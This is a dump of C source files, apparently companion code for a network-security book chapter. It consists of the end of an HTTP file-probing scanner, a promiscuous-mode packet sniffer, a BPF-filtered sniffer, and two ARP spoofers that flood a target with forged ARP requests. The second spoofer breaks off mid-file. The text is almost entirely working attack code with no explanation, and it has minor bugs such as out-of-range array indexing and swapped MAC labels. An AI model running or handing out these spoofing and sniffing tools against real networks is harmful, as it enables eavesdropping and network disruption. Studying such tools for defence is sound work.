SOCK_STREAM, 0)) < 0) { 71 | perror("socket() failed"); 72 | exit(-1); 73 | } 74 | 75 | if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) { 76 | perror("connect() failed"); 77 | exit(-1); 78 | } 79 | 80 | printf("======================================\n"); 81 | 82 | if (argc == 2) 83 | sprintf(str1, "GET %s HTTP/1.1\r\n", buf); 84 | else 85 | sprintf(str1, "GET http://%s%s HTTP/1.1\r\n", argv[1], buf); 86 | 87 | sprintf(str2, "Host:%s\r\n\r\n", argv[1]); 88 | 89 | send(sd, str1, strlen(str1), 0); 90 | printf("%s", str1); 91 | send(sd, str2, strlen(str2), 0); 92 | printf("%s", str2); 93 | 94 | bzero(buf, 250); 95 | 96 | bytes = recv(sd, buf, sizeof(buf)-1, 0); 97 | buf[bytes] = 0; 98 | printf("%s\n", buf); 99 | 100 | if (strstr(buf, "200 OK") != NULL) 101 | printf("\nResult: FOUND!!!\n\n"); 102 | else 103 | printf("\nResult: Not Found.\n\n"); 104 | 105 | printf("======================================\n"); 106 | 107 | close(sd); 108 | } 109 | 110 | fprintf(stderr, "======================================\n"); 111 | fprintf(stderr, " End scan \"%s\".\n", argv[1]); 112 | fprintf(stderr, "======================================\n"); 113 | 114 | fclose(fd); 115 | 116 | return 0; 117 | } 118 | -------------------------------------------------------------------------------- /part2/Chapter 9/sklsniff.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include /* for the glibc version number */ 5 | #if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 6 | #include 7 | #include /* the L2 protocols */ 8 | #else 9 | #include 10 | #include 11 | #include /* The L2 protocols */ 12 | #endif 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define DEVICE "eth0" 22 | #define IP_DF 0x4000 23 | #define IP_MF 0x2000 24 | 25 | struct arphdr 26 | { 27 | unsigned short ar_hrd; /* format of hardware address */ 28 | unsigned short ar_pro; /* format of protocol address */ 29 | unsigned char ar_hln; /* length of hardware address */ 30 | unsigned char ar_pln; /* length of protocol address */ 31 | unsigned short ar_op; /* ARP opcode (command) */ 32 | unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ 33 | unsigned char ar_sip[4]; /* sender IP address */ 34 | unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ 35 | unsigned char ar_tip[4]; /* target IP address */ 36 | }; 37 | 38 | 39 | 40 | /*--------------------------------------------------*/ 41 | /* Функция вывода полей заголовков принятых пакетов */ 42 | /*--------------------------------------------------*/ 43 | PrintHeaders(void *data) 44 | { 45 | struct ethhdr eth; 46 | struct iphdr *ip; 47 | struct arphdr *arp; 48 | struct tcphdr *tcp; 49 | struct udphdr *udp; 50 | struct icmphdr *icmp; 51 | 52 | memcpy ((char *) ð, data, sizeof(struct ethhdr)); 53 | 54 | printf("==ETHERNET_HEADER============================\n"); 55 | printf("MAC destination "); 56 | printf(":%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 57 | eth.h_source[0], eth.h_source[1], eth.h_source[2], 58 | eth.h_source[3], eth.h_source[4], eth.h_source[5]); 59 | 60 | printf("MAC source "); 61 | printf(":%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 62 | eth.h_dest[0], eth.h_dest[1], eth.h_dest[2], 63 | eth.h_dest[3], eth.h_dest[4], eth.h_dest[5]); 64 | printf("Packet type ID field :%#x\n", ntohs(eth.h_proto)); 65 | 66 | if ((ntohs(eth.h_proto) == ETH_P_ARP) || 67 | (ntohs(eth.h_proto) == ETH_P_RARP)) { 68 | arp = (struct arphdr *)(data + sizeof(struct ethhdr)); 69 | 70 | printf("==ARP_HEADER=================================\n"); 71 | printf("Format of hardware address :%d\n", htons(arp->ar_hrd)); 72 | printf("Format of protocol address :%d\n", arp->ar_pro); 73 | printf("Length MAC :%d\n", arp->ar_hln); 74 | printf("Length IP :%d\n", arp->ar_pln); 75 | printf("ARP opcode :%d\n", htons(arp->ar_op)); 76 | printf("Sender hardware address :%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 77 | arp->ar_sha[0], 78 | arp->ar_sha[1], 79 | arp->ar_sha[2], 80 | arp->ar_sha[3], 81 | arp->ar_sha[4], 82 | arp->ar_sha[5], 83 | arp->ar_sha[6]); 84 | printf("Sender IP address :%d.%d.%d.%d\n", 85 | arp->ar_sip[0], 86 | arp->ar_sip[1], 87 | arp->ar_sip[2], 88 | arp->ar_sip[3]); 89 | printf("Target hardware address :%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 90 | arp->ar_tha[0], 91 | arp->ar_tha[1], 92 | arp->ar_tha[2], 93 | arp->ar_tha[3], 94 | arp->ar_tha[4], 95 | arp->ar_tha[5], 96 | arp->ar_tha[6]); 97 | printf("Target IP address :%d.%d.%d.%d\n", 98 | arp->ar_tip[0], 99 | arp->ar_tip[1], 100 | arp->ar_tip[2], 101 | arp->ar_tip[3]); 102 | 103 | printf("#############################################\n"); 104 | 105 | } 106 | 107 | if (ntohs(eth.h_proto) == ETH_P_IP) 108 | { 109 | ip = (struct iphdr *)(data + sizeof(struct ethhdr)); 110 | 111 | printf("==IP_HEADER==================================\n"); 112 | printf("IP version :%d\n", ip->version); 113 | printf("IP header length :%d\n", ip->ihl); 114 | printf("TOS :%d\n", ip->tos); 115 | printf("Total length :%d\n", ntohs(ip->tot_len)); 116 | printf("ID :%d\n", ntohs(ip->id)); 117 | printf("Fragment offset :%#x\n", ntohs(ip->frag_off)); 118 | printf("MF :%d\n", ntohs(ip->frag_off)&IP_MF?1:0); 119 | printf("DF :%d\n", ntohs(ip->frag_off)&IP_DF?1:0); 120 | printf("TTL :%d\n", ip->ttl); 121 | printf("Protocol :%d\n", ip->protocol); 122 | printf("IP source :%s\n", inet_ntoa(ip->saddr)); 123 | printf("IP destination :%s\n", inet_ntoa(ip->daddr)); 124 | 125 | if ((ip->protocol) == IPPROTO_TCP) { 126 | tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 127 | printf("==TCP_HEADER=================================\n"); 128 | printf("Port source :%d\n", ntohs(tcp->source)); 129 | printf("Port destination :%d\n", ntohs(tcp->dest)); 130 | printf("Sequence number :%d\n", ntohs(tcp->seq)); 131 | printf("Ack number :%d\n", ntohs(tcp->ack_seq)); 132 | printf("Data offset :%d\n", tcp->doff); 133 | printf("FIN:%d,", tcp->fin); 134 | printf("SYN:%d,", tcp->syn); 135 | printf("RST:%d,", tcp->rst); 136 | printf("PSH:%d,", tcp->psh); 137 | printf("ACK:%d,", tcp->ack); 138 | printf("URG:%d,", tcp->urg); 139 | printf("ECE:%d,", tcp->ece); 140 | printf("CWR:%d\n", tcp->cwr); 141 | printf("Window :%d\n", ntohs(tcp->window)); 142 | printf("Urgent pointer :%d\n", tcp->urg_ptr); 143 | } 144 | 145 | if ((ip->protocol) == IPPROTO_UDP) { 146 | udp = (struct udphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 147 | printf("==UDP_HEADER=================================\n"); 148 | printf("Port source :%d\n", ntohs(udp->source)); 149 | printf("Port destination :%d\n", ntohs(udp->dest)); 150 | printf("Length :%d\n", ntohs(udp->len)); 151 | } 152 | 153 | if ((ip->protocol) == IPPROTO_ICMP) { 154 | icmp = (struct icmphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 155 | printf("==ICMP_HEADER================================\n"); 156 | printf("Type :%d\n", icmp->type); 157 | printf("Code :%d\n", icmp->code); 158 | } 159 | 160 | printf("#############################################\n"); 161 | } 162 | } 163 | 164 | /*-------------------------------------------------------*/ 165 | /* Функция вывода принятых данных в виде дампа hex&ascii */ 166 | /*-------------------------------------------------------*/ 167 | void Dump(void* data, int len) 168 | { 169 | unsigned char *buf = data; 170 | int i; 171 | int poz = 0; 172 | char str[17]; 173 | memset(str, 0, 17); 174 | for (i = 0; i < len; i++) 175 | { 176 | if (poz % 16 == 0) 177 | { 178 | printf(" %s\n%04X: ", str, poz); 179 | memset(str, 0, 17); 180 | } 181 | 182 | if (buf[poz] < ' ' || buf[poz] >= 127) 183 | str[poz%16] = '.'; 184 | else 185 | str[poz%16] = buf[poz]; 186 | 187 | printf("%02X ", buf[poz++]); 188 | } 189 | printf(" %*s\n\n", 16 + (16 - len % 16) * 2, str); 190 | } 191 | 192 | /*------------------------*/ 193 | /* Главная функция main() */ 194 | 195 | /*------------------------*/ 196 | int main(int argc, char* argv[]) 197 | { 198 | int sd; 199 | int n = 0; 200 | int packet = 0; 201 | struct ifreq ifr; 202 | char buf[1500]; 203 | 204 | fprintf(stderr, "===================================================\n"); 205 | fprintf(stderr, "= Simple passive sniffer by Ivan Sklyaroff, 2006. =\n"); 206 | fprintf(stderr, "= [-d] - dump a block of data in hex&ascii. =\n"); 207 | fprintf(stderr, "===================================================\n"); 208 | 209 | if ( (sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { 210 | perror("socket() failed"); 211 | exit(-1); 212 | } 213 | 214 | /* переводим интерфейс в неразборчивый (promiscuous) режим */ 215 | strcpy(ifr.ifr_name, DEVICE); 216 | if (ioctl(sd, SIOCGIFFLAGS, &ifr) < 0) { 217 | perror("ioctl() failed"); 218 | close(sd); 219 | exit(-1); 220 | } 221 | 222 | ifr.ifr_flags |= IFF_PROMISC; 223 | 224 | if (ioctl(sd, SIOCSIFFLAGS, &ifr) < 0) { 225 | perror("ioctl() failed"); 226 | close(sd); 227 | exit(-1); 228 | } 229 | 230 | /* в бесконечном цикле захватываем пакеты */ 231 | while (1) 232 | { 233 | n = recvfrom(sd, buf, sizeof(buf), 0, 0, 0); 234 | printf("#############################################\n"); 235 | printf("Packet #%d (%d bytes read)\n", ++packet, n); 236 | 237 | PrintHeaders(buf); /* выводим поля заголовков принятых пакетов */ 238 | 239 | /* если в командной строке указан параметр -d, показываем принятые данные 240 | в виде дампа hex&ascii */ 241 | if (argc == 2) { 242 | if (!strcmp(argv[1], "-d")) 243 | Dump(buf, n); 244 | } 245 | 246 | printf("\n"); 247 | 248 | } 249 | 250 | return 0; 251 | } 252 | 253 | -------------------------------------------------------------------------------- /part2/Chapter 9/sklsniff_arp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include /* for the glibc version number */ 6 | #if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 7 | #include 8 | #include /* the L2 protocols */ 9 | #else 10 | #include 11 | #include 12 | #include /* The L2 protocols */ 13 | #endif 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #define DEVICE "eth0" 20 | 21 | 22 | struct arp_packet 23 | { 24 | unsigned char h_dest[ETH_ALEN]; /* destination eth addr */ 25 | unsigned char h_source[ETH_ALEN]; /* source ether addr */ 26 | unsigned short h_proto; /* packet type ID field */ 27 | unsigned short ar_hrd; /* format of hardware address */ 28 | unsigned short ar_pro; /* format of protocol address */ 29 | unsigned char ar_hln; /* length of hardware address */ 30 | unsigned char ar_pln; /* length of protocol address */ 31 | unsigned short ar_op; /* ARP opcode (command) */ 32 | unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ 33 | unsigned char ar_sip[4]; /* sender IP address */ 34 | unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ 35 | unsigned char ar_tip[4]; /* target IP address */ 36 | }; 37 | 38 | 39 | 40 | /*-------------------------------------------*/ 41 | /* Преобразование MAC-адреса к сетевому виду */ 42 | /*-------------------------------------------*/ 43 | void get_mac(unsigned char* mac, char* optarg) 44 | { 45 | int i = 0; 46 | char* ptr = strtok(optarg, ":-"); 47 | while(ptr) { 48 | unsigned nmb; 49 | sscanf(ptr, "%x", &nmb); 50 | mac[i] = (unsigned char)nmb; 51 | ptr = strtok(NULL, ":-"); 52 | i++; 53 | } 54 | } 55 | 56 | /*--------------------------------------*/ 57 | /* Преобразование имени узла в IP-адрес */ 58 | /*--------------------------------------*/ 59 | void get_ip(struct in_addr* in_addr,char* str) 60 | { 61 | 62 | struct hostent *hp; 63 | 64 | if( (hp = gethostbyname(str)) == NULL) 65 | { 66 | herror("gethostbyname() failed"); 67 | exit(-1); 68 | } 69 | 70 | bcopy(hp->h_addr, in_addr, hp->h_length); 71 | } 72 | 73 | /*------------------------*/ 74 | /* Главная функция main() */ 75 | /*------------------------*/ 76 | int main(int argc, char *argv[]) 77 | { 78 | struct sockaddr_ll s_ll; 79 | struct in_addr src_in_addr,targ_in_addr; 80 | struct arp_packet pkt; 81 | int sd; 82 | struct ifreq ifreq; 83 | char s_ip_addr[16]; 84 | char s_eth_addr[19]; 85 | int period = 2; 86 | 87 | fprintf(stderr, "========================================\n"); 88 | fprintf(stderr, "= ARP spoofer by Ivan Sklyaroff, 2006. =\n"); 89 | fprintf(stderr, "========================================\n"); 90 | 91 | if(argc < 5) 92 | { 93 | fprintf(stderr, 94 | "usage: %s <(source ip)||(random)> <(source mac)||(random)> [period(default 10 sec.)]\n", 95 | argv[0]); 96 | exit(-1); 97 | } 98 | 99 | if (argc == 6) 100 | period = atoi(argv[5]); 101 | 102 | if ( (sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) < 0) { 103 | perror("socket() failed"); 104 | exit(-1); 105 | } 106 | 107 | /* заполняем поля структуры sockaddr_ll */ 108 | memset (&s_ll, 0, sizeof (struct sockaddr_ll)); 109 | s_ll.sll_family = AF_PACKET; 110 | 111 | strncpy(ifreq.ifr_ifrn.ifrn_name, DEVICE, IFNAMSIZ); 112 | if (ioctl(sd, SIOCGIFINDEX, &ifreq) < 0) { 113 | perror("ioctl() failed"); 114 | exit(-1); 115 | } 116 | 117 | s_ll.sll_ifindex = ifreq.ifr_ifru.ifru_ivalue; 118 | 119 | /* заполняем поля ARP-пакета */ 120 | pkt.h_proto = htons(0x806); 121 | pkt.ar_hrd = htons(1); 122 | pkt.ar_pro = htons(0x800); 123 | pkt.ar_hln = 6; 124 | pkt.ar_pln = 4; 125 | pkt.ar_op = htons(1); 126 | 127 | get_mac(pkt.h_dest, argv[4]); 128 | memcpy(pkt.ar_tha, &pkt.h_dest, 6); 129 | get_ip(&targ_in_addr, argv[3]); 130 | 131 | /* в бесконечном цикле отправляем пакеты */ 132 | while(1) { 133 | srandom(time(NULL)); 134 | if(!strcmp(argv[1], "random") 135 | ) 136 | { 137 | sprintf(s_ip_addr, "%d.%d.%d.%d", random() % 255, random() % 255, random() % 255, random() % 255); 138 | get_ip(&src_in_addr, s_ip_addr); 139 | } 140 | else 141 | get_ip(&src_in_addr, argv[1]); 142 | 143 | if(!strcmp(argv[2], "random") 144 | ) 145 | { 146 | sprintf(s_eth_addr, "%x:%x:%x:%x:%x:%x", random() % 255, random() % 255, random() % 255, random() % 255, random() % 255, random() % 255); 147 | get_mac(pkt.ar_sha, s_eth_addr); 148 | memcpy(pkt.h_source, &pkt.ar_sha, 6); 149 | } 150 | else { 151 | get_mac(pkt.ar_sha, argv[2]); 152 | memcpy(pkt.h_source, &pkt.ar_sha, 6); 153 | } 154 | 155 | memcpy(pkt.ar_sip, &src_in_addr, 4); 156 | 157 | 158 | memcpy(pkt.ar_tip, &targ_in_addr, 4); 159 | 160 | 161 | if(sendto(sd, &pkt,sizeof(pkt),0, (struct sockaddr *)&s_ll,sizeof(struct sockaddr_ll)) < 0) { 162 | perror("sendto() failed"); 163 | exit(-1); 164 | } 165 | 166 | sleep(period); 167 | } 168 | 169 | return 0; 170 | } 171 | 172 | -------------------------------------------------------------------------------- /part2/Chapter 9/sklsniff_bpf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include /* for the glibc version number */ 5 | #if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 6 | #include 7 | #include /* the L2 protocols */ 8 | #else 9 | #include 10 | #include 11 | #include /* The L2 protocols */ 12 | #endif 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define DEVICE "eth0" 24 | #define IP_DF 0x4000 25 | #define IP_MF 0x2000 26 | 27 | struct arphdr 28 | { 29 | unsigned short ar_hrd; /* format of hardware address */ 30 | unsigned short ar_pro; /* format of protocol address */ 31 | unsigned char ar_hln; /* length of hardware address */ 32 | unsigned char ar_pln; /* length of protocol address */ 33 | unsigned short ar_op; /* ARP opcode (command) */ 34 | unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ 35 | unsigned char ar_sip[4]; /* sender IP address */ 36 | unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ 37 | unsigned char ar_tip[4]; /* target IP address */ 38 | }; 39 | 40 | 41 | /*--------------------------------------------------*/ 42 | /* Функция вывода полей заголовков принятых пакетов */ 43 | /*--------------------------------------------------*/ 44 | PrintHeaders(void *data) 45 | { 46 | struct ethhdr eth; 47 | struct iphdr *ip; 48 | struct arphdr *arp; 49 | struct tcphdr *tcp; 50 | struct udphdr *udp; 51 | struct icmphdr *icmp; 52 | 53 | memcpy ((char *) ð, data, sizeof(struct ethhdr)); 54 | 55 | printf("==ETHERNET_HEADER============================\n"); 56 | printf("MAC destination "); 57 | printf(":%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 58 | eth.h_source[0], eth.h_source[1], eth.h_source[2], 59 | eth.h_source[3], eth.h_source[4], eth.h_source[5]); 60 | 61 | printf("MAC source "); 62 | printf(":%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 63 | eth.h_dest[0], eth.h_dest[1], eth.h_dest[2], 64 | eth.h_dest[3], eth.h_dest[4], eth.h_dest[5]); 65 | printf("Packet type ID field :%#x\n", ntohs(eth.h_proto)); 66 | 67 | if ((ntohs(eth.h_proto) == ETH_P_ARP) || 68 | (ntohs(eth.h_proto) == ETH_P_RARP)) { 69 | arp = (struct arphdr *)(data + sizeof(struct ethhdr)); 70 | 71 | printf("==ARP_HEADER=================================\n"); 72 | printf("Format of hardware address :%d\n", htons(arp->ar_hrd)); 73 | printf("Format of protocol address :%d\n", arp->ar_pro); 74 | printf("Length MAC :%d\n", arp->ar_hln); 75 | printf("Length IP :%d\n", arp->ar_pln); 76 | printf("ARP opcode :%d\n", htons(arp->ar_op)); 77 | printf("Sender hardware address :%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 78 | arp->ar_sha[0], 79 | arp->ar_sha[1], 80 | arp->ar_sha[2], 81 | arp->ar_sha[3], 82 | arp->ar_sha[4], 83 | arp->ar_sha[5], 84 | arp->ar_sha[6]); 85 | printf("Sender IP address :%d.%d.%d.%d\n", 86 | arp->ar_sip[0], 87 | arp->ar_sip[1], 88 | arp->ar_sip[2], 89 | arp->ar_sip[3]); 90 | printf("Target hardware address :%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 91 | arp->ar_tha[0], 92 | arp->ar_tha[1], 93 | arp->ar_tha[2], 94 | arp->ar_tha[3], 95 | arp->ar_tha[4], 96 | arp->ar_tha[5], 97 | arp->ar_tha[6]); 98 | printf("Target IP address :%d.%d.%d.%d\n", 99 | arp->ar_tip[0], 100 | arp->ar_tip[1], 101 | arp->ar_tip[2], 102 | arp->ar_tip[3]); 103 | 104 | printf("#############################################\n"); 105 | 106 | } 107 | 108 | if (ntohs(eth.h_proto) == ETH_P_IP) 109 | { 110 | ip = (struct iphdr *)(data + sizeof(struct ethhdr)); 111 | 112 | printf("==IP_HEADER==================================\n"); 113 | printf("IP version :%d\n", ip->version); 114 | printf("IP header length :%d\n", ip->ihl); 115 | printf("TOS :%d\n", ip->tos); 116 | printf("Total length :%d\n", ntohs(ip->tot_len)); 117 | printf("ID :%d\n", ntohs(ip->id)); 118 | printf("Fragment offset :%#x\n", ntohs(ip->frag_off)); 119 | printf("MF :%d\n", ntohs(ip->frag_off)&IP_MF?1:0); 120 | printf("DF :%d\n", ntohs(ip->frag_off)&IP_DF?1:0); 121 | printf("TTL :%d\n", ip->ttl); 122 | printf("Protocol :%d\n", ip->protocol); 123 | printf("IP source :%s\n", inet_ntoa(ip->saddr)); 124 | printf("IP destination :%s\n", inet_ntoa(ip->daddr)); 125 | 126 | if ((ip->protocol) == IPPROTO_TCP) { 127 | tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 128 | printf("==TCP_HEADER=================================\n"); 129 | printf("Port source :%d\n", ntohs(tcp->source)); 130 | printf("Port destination :%d\n", ntohs(tcp->dest)); 131 | printf("Sequence number :%d\n", ntohs(tcp->seq)); 132 | printf("Ack number :%d\n", ntohs(tcp->ack_seq)); 133 | printf("Data offset :%d\n", tcp->doff); 134 | printf("FIN:%d,", tcp->fin); 135 | printf("SYN:%d,", tcp->syn); 136 | printf("RST:%d,", tcp->rst); 137 | printf("PSH:%d,", tcp->psh); 138 | printf("ACK:%d,", tcp->ack); 139 | printf("URG:%d,", tcp->urg); 140 | printf("ECE:%d,", tcp->ece); 141 | printf("CWR:%d\n", tcp->cwr); 142 | printf("Window :%d\n", ntohs(tcp->window)); 143 | printf("Urgent pointer :%d\n", tcp->urg_ptr); 144 | } 145 | 146 | if ((ip->protocol) == IPPROTO_UDP) { 147 | udp = (struct udphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 148 | printf("==UDP_HEADER=================================\n"); 149 | printf("Port source :%d\n", ntohs(udp->source)); 150 | printf("Port destination :%d\n", ntohs(udp->dest)); 151 | printf("Length :%d\n", ntohs(udp->len)); 152 | } 153 | 154 | if ((ip->protocol) == IPPROTO_ICMP) { 155 | icmp = (struct icmphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 156 | printf("==ICMP_HEADER================================\n"); 157 | printf("Type :%d\n", icmp->type); 158 | printf("Code :%d\n", icmp->code); 159 | } 160 | 161 | printf("#############################################\n"); 162 | } 163 | } 164 | 165 | 166 | /*-------------------------------------------------------*/ 167 | /* Функция вывода принятых данных в виде дампа hex&ascii */ 168 | /*-------------------------------------------------------*/ 169 | void Dump(void* data, int len) 170 | { 171 | unsigned char *buf = data; 172 | int i; 173 | int poz = 0; 174 | char str[17]; 175 | memset(str, 0, 17); 176 | for (i = 0; i < len; i++) 177 | { 178 | if (poz % 16 == 0) 179 | { 180 | printf(" %s\n%04X: ", str, poz); 181 | memset(str, 0, 17); 182 | } 183 | 184 | if (buf[poz] < ' ' || buf[poz] >= 127) 185 | str[poz%16] = '.'; 186 | else 187 | str[poz%16] = buf[poz]; 188 | 189 | printf("%02X ", buf[poz++]); 190 | } 191 | printf(" %*s\n\n", 16 + (16 - len % 16) * 2, str); 192 | } 193 | 194 | 195 | /*------------------------*/ 196 | /* Главная функция main() */ 197 | 198 | /*------------------------*/ 199 | int main(int argc, char* argv[]) 200 | { 201 | int sd; 202 | int n = 0; 203 | int packet = 0; 204 | struct ifreq ifr; 205 | struct bpf_program bp; 206 | char buf[1500]; 207 | char *paramd; 208 | int sport, dport; 209 | unsigned long source_ip, dest_ip; 210 | 211 | struct bpf_insn filter_app[] = { 212 | BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12), 213 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETH_P_IP, 0, 12), 214 | BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 23), 215 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_UDP, 0, 10), 216 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 26), 217 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 8), 218 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 30), 219 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 6), 220 | BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 14), 221 | BPF_STMT(BPF_LD+BPF_H+BPF_IND, 14), 222 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 3), 223 | BPF_STMT(BPF_LD+BPF_H+BPF_IND, 16), 224 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 1), 225 | BPF_STMT(BPF_RET+BPF_K,1500), 226 | BPF_STMT(BPF_RET+BPF_K,0), 227 | }; 228 | 229 | fprintf(stderr, "===================================================\n"); 230 | fprintf(stderr, "= Simple passive sniffer by Ivan Sklyaroff, 2006. =\n"); 231 | fprintf(stderr, "= Test BPF (Berkeley Packet Filter). =\n"); 232 | fprintf(stderr, "= =\n"); 233 | fprintf(stderr, "= Usage filter UDP in command line: =\n"); 234 | fprintf(stderr, "= [IP_source port_source IP_dest port_dest] [-d] =\n"); 235 | fprintf(stderr, "= =\n"); 236 | fprintf(stderr, "= [-d] - dump a block of data in hex&ascii =\n"); 237 | fprintf(stderr, "===================================================\n"); 238 | 239 | if ( (sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { 240 | perror("socket() failed"); 241 | exit(-1); 242 | } 243 | 244 | /* переводим интерфейс в неразборчивый (promiscuous) режим */ 245 | strcpy(ifr.ifr_name, DEVICE); 246 | if (ioctl(sd, SIOCGIFFLAGS, &ifr) < 0) { 247 | perror("ioctl() failed"); 248 | close(sd); 249 | exit(-1); 250 | } 251 | 252 | ifr.ifr_flags |= IFF_PROMISC; 253 | 254 | if (ioctl(sd, SIOCSIFFLAGS, &ifr) < 0) { 255 | perror("ioctl() failed"); 256 | close(sd); 257 | exit(-1); 258 | } 259 | 260 | if (argc == 2) 261 | paramd = argv[1]; 262 | else if (argc >= 5) { 263 | source_ip = inet_addr(argv[1]); 264 | sport = atoi(argv[2]); 265 | dest_ip = inet_addr(argv[3]); 266 | dport = atoi(argv[4]); 267 | 268 | filter_app[5].k = ___swab32(source_ip); 269 | filter_app[7].k = ___swab32(dest_ip); 270 | filter_app[10].k = sport; 271 | filter_app[12].k = dport; 272 | 273 | bp.bf_len = 15; 274 | bp.bf_insns = filter_app; 275 | 276 | if(setsockopt(sd, SOL_SOCKET, SO_ATTACH_FILTER, &bp, sizeof(bp)) < 0) { 277 | perror("SO_ATTACH_FILTER"); 278 | close(sd); 279 | exit(-1); 280 | } 281 | } else if (argc == 6) 282 | paramd = argv[5]; 283 | else if (argc != 1) { 284 | fprintf(stderr, "Sorry, filter incorrect!\n"); 285 | close(sd); 286 | exit(-1); 287 | } 288 | 289 | 290 | /* в бесконечном цикле захватываем пакеты */ 291 | while (1) 292 | { 293 | n = recvfrom(sd, buf, sizeof(buf), 0, 0, 0); 294 | printf("#############################################\n"); 295 | printf("Packet #%d (%d bytes read)\n", ++packet, n); 296 | 297 | PrintHeaders(buf); /* выводим поля заголовков принятых пакетов */ 298 | 299 | /* если в командной строке указан параметр -d, показываем принятые данные 300 | в виде дампа hex&ascii */ 301 | if (argc == 2 || argc == 6) { 302 | if (!strcmp(paramd, "-d")) 303 | Dump(buf, n); 304 | } 305 | 306 | printf("\n"); 307 | 308 | } 309 | 310 | return 0; 311 | } 312 | 313 | -------------------------------------------------------------------------------- /part2/Chapter 9/sklsniff_lnet.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define DEVICE "eth0" 4 | 5 | int main(int argc, char *argv[]) 6 | { 7 | libnet_t *l; 8 | libnet_ptag_t eth_tag, arp_tag; 9 | char errbuf[LIBNET_ERRBUF_SIZE]; 10 | u_long ipsrc, ipdst; 11 | char iprnd[16], macsrcrnd[19]; 12 | u_int8_t *macsrc, *macdst; 13 | int period = 2; 14 | int r; 15 | 16 | if(argc < 5) { 17 | fprintf(stderr, 18 | "Usage: %s <(source ip)||(random)> <(source mac)||(random)> [period(default 10 sec.)]\n", argv[0]); 19 | exit(-1); 20 | } 21 | 22 | ipdst = inet_addr(argv[3]); 23 | macdst = libnet_hex_aton((int8_t*)argv[4], &r); 24 | 25 | if (argc == 6) 26 | period = atoi(argv[5]); 27 | 28 | while(1) 29 | { 30 | srandom(time(NULL)); 31 | if(!strcmp(argv[1], "random")) 32 | { 33 | sprintf(iprnd, "%d.%d.%d.%d", random() % 255, random() % 255, random() % 255, random() % 255); 34 | ipsrc = inet_addr(iprnd); 35 | } else 36 | ipsrc = inet_addr(argv[1]); 37 | 38 | if(!strcmp(argv[2], "random")) 39 | { 40 | sprintf(macsrcrnd, "%x:%x:%x:%x:%x:%x", random() % 255, random() % 255, random() % 255, random() % 255, random() % 255, random() % 255); 41 | macsrc = libnet_hex_aton((int8_t*)macsrcrnd, &r); 42 | } else 43 | macsrc = libnet_hex_aton((int8_t*)argv[2], &r); 44 | 45 | 46 | l = libnet_init(LIBNET_LINK, DEVICE, errbuf); 47 | if (l == NULL) { 48 | fprintf(stderr, "Error opening context: %s", errbuf); 49 | exit(-1); 50 | } 51 | 52 | /* ARP header */ 53 | arp_tag = libnet_build_arp( 54 | 1, /* hardware type */ 55 | 0x0800, /* proto type */ 56 | 6, /* hw addr size */ 57 | 4, /* proto addr size */ 58 | 1, /* ARP OPCODE */ 59 | macsrc, /* source HW addr */ 60 | (u_int8_t*)&ipsrc, /* src proto addr */ 61 | macdst, /* dst HW addr */ 62 | (u_int8_t*)&ipdst, /* dst IP addr */ 63 | NULL, /* no payload */ 64 | 0, /* payload length */ 65 | l, /* libnet tag */ 66 | 0); /* ptag see man */ 67 | 68 | if (arp_tag == -1) { 69 | fprintf(stderr, 70 | "Unable to build Ethernet header: %s\n", libnet_geterror(l)); 71 | exit(-1); 72 | } 73 | 74 | /* ethernet header */ 75 | eth_tag = libnet_build_ethernet( 76 | macdst, /* dst HW addr */ 77 | macsrc, /* src HW addr */ 78 | ETHERTYPE_ARP, /* ether packet type */ 79 | NULL, /* ptr to payload */ 80 | 0, /* payload size */ 81 | l, /* libnet tag */ 82 | 0); /* ptr to packet memory */ 83 | 84 | if (eth_tag == -1) { 85 | fprintf(stderr, 86 | "Unable to build Ethernet header: %s\n", 